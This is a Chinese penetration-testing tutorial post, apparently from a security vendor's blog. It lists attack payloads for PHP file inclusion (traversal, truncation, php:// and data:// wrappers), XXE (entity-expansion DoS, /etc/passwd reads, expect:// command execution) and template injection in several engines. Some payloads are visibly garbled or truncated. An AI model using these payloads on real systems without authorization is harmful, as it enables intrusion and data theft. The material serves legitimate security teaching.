专栏首页网站漏洞修复渗透测试该如何全面检测网站漏洞

渗透测试该如何全面检测网站漏洞

昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如何进行全面的网站安全测试。

3.8. 文件包含

3.8.1. 基础

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>

考虑常用的几种包含方式为

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

3.8.2. 绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

3.8.2.1. url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

3.8.2.2. 特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ? * 等
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

3.8.2.3. %00截断

几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。

3.8.2.4. 长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义“`#define MAX_PATH 260“`,第260个字符为字符串结尾的“`0“`

linux可以用getconf来判断文件名长度限制和文件路径长度限制

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,`././././` (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

3.8.2.5. 伪协议绕过

远程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload为 ?file=[http|https|ftp]://域名/shell.txt

  • PHP INPUT: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input
  • : 使用伪协议读取文件,payload为 ?file=php://filter/convert.-encode/resource=index.php
  • DATA: 使用data伪协议读取文件,payload为 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On

3.9. XXE

3.9.1. XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。

3.9.2. XXE

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

3.9.3. 攻击方式

3.9.3.1. 拒绝服务攻击

<!DOCTYPE data [

<!ELEMENT data (#ANY)>

<!ENTITY a0 "dos" >

<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">

<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">

]>

<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

3.9.3.2. 文件读取

<?xml version="1.0"?>

<!DOCTYPE data [

<!ELEMENT data (#ANY)>

<!ENTITY file SYSTEM "file:///etc/passwd">

]>

<data>&file;</data>

3.9.3.3. SSRF

<?xml version="1.0"?>

<!DOCTYPE data SYSTEM "" [

<!ELEMENT data (#ANY)>

]>

<data>4</data>

3.9.3.4. RCE

<?xml version="1.0"?>

<!DOCTYPE GVI [ <!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "expect://id" >]>

<catalog>

<core id="test101">

<deion>&xxe;</deion>

</core>

</catalog>

3.9.3.5. XInclude

<?xml version='1.0'?>

<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="/file.xml"></xi:incl

3.10 模板注入漏洞

3.10. 模版注入

3.10.1. 简介

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

3.10.2. 测试方法

  • 确定使用的引擎
  • 查看引擎相关的文档,确定其安全机制以及自带的函数和变量
  • 需找攻击面,尝试攻击

3.10.3. 测试用例

  • 简单的数学表达式,{{ 7+7 }} => 14
  • 字符串表达式 {{ "ajin" }} => ajin
  • Ruby
  • <%= 7 * 7 %>
  • <%= File.open('/etc/passwd').read %>
  • Java
  • ${7*7}
  • Twig
  • {{7*7}}
  • Smarty
  • {php}echo `id`;{/php}
  • AngularJS
  • $eval('1+1')
  • Tornado
  • 引用模块 {% import module %}
  • => {% import os %}{{ os.popen("whoami").read() }}
  • Flask/Jinja2
  • {{ config.items() }}
  • {{''.__class__.__mro__[-1].__subclasses__()}}
  • Django
  • {{ request }}
  • {% debug %}
  • {% load module %}
  • {% include "x.html" %}
  • {% extends "x.html" %}

3.10.4. 目标

  • 创建对象
  • 文件读写
  • 远程文件包含
  • 信息泄漏 提权

3.10.5. 相关属性

3.10.5.1. __class__

python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类

3.10.5.2. __mro__

python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

3.10.5.3. __globals__

保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用

3.10.5.4. __subclasses__()

python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。

因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。这一节渗透测试讲到的这些内容和绕过手法,如果对自己网站不太放心的话可以找专业的网站安全公司来处理解决,国内做的比较好的如Sinesafe,绿盟,启明星辰等等。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 对于数据被篡改的安全风险分析

    现代信息化系统越来越普遍,但对于数据安全方面却有很多问题,数据完整性风险不仅影响信息的有效性,还影响信息正确性的保证。一些政府条例特别注重确保数据的准确性。如果...

    网站安全专家
  • 该如何检测渗透测试网站存在的上传漏洞

    随着网络的发达,越来越多的网站已悄悄崛起,在这里我们Sine安全给大家准备讲解下渗透测试服务中的基础点讲解内容,让大家更好的了解这个安全渗透测试的具体知识点和详...

    网站安全专家
  • 网站安全防护 渗透测试解析漏洞详情

    天气逐渐变凉,但渗透测试的热情温度感觉不到凉,因为有我们的存在公开分享渗透实战经验过程,才会让这个秋冬变得不再冷,近期有反映在各个环境下的目录解析漏洞的检测方法...

    网站安全专家
  • 渗透测试该如何全面检测网站漏洞

    昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅...

    技术分享达人
  • 【go】剑指offer:3种方法寻找二进制1的个数

    对于该题很容易有思路,我们将整数进行二进制的转换的过程中记录余数为1的个数即可。需要注意的是传入的负数和循环的终止条件,代码如下,因为循环的终止条件为商为0时停...

    陌无崖
  • 【Python基础系列】常见的数据预处理方法(附代码)

    本文简单介绍python中一些常见的数据预处理,包括数据加载、缺失值处理、异常值处理、描述性变量转换为数值型、训练集测试集划分、数据规范化。

    统计学家
  • 写文章不会起标题 ?爬取虎嗅5万篇文章告诉你

    摘要: 不少时候,一篇文章能否得到广泛的传播,除了文章本身实打实的质量以外,一个好的标题也至关重要。本文爬取了虎嗅网建站至今共 5 万条新闻标题内容,助你找到起...

    小小詹同学
  • 剑指offer——斐波那契数列

    大家都知道斐波那契数列,现在要求输入一个整数n,请你输出斐波那契数列的第n项。n<=39

    AI那点小事
  • 数据分析实战:利用python对心脏病数据集进行分析

    今天在kaggle上看到一个心脏病数据(数据集下载地址和源码见文末),那么借此深入分析一下。

    Python进阶者
  • 为什么vue中的data必须是一个函数?

    object是引用类型,如果不用function返回,每个组件的data都是内存的同一个地址,一个数据改变了其他也改变了。

    用户3258338

扫码关注云+社区

领取腾讯云代金券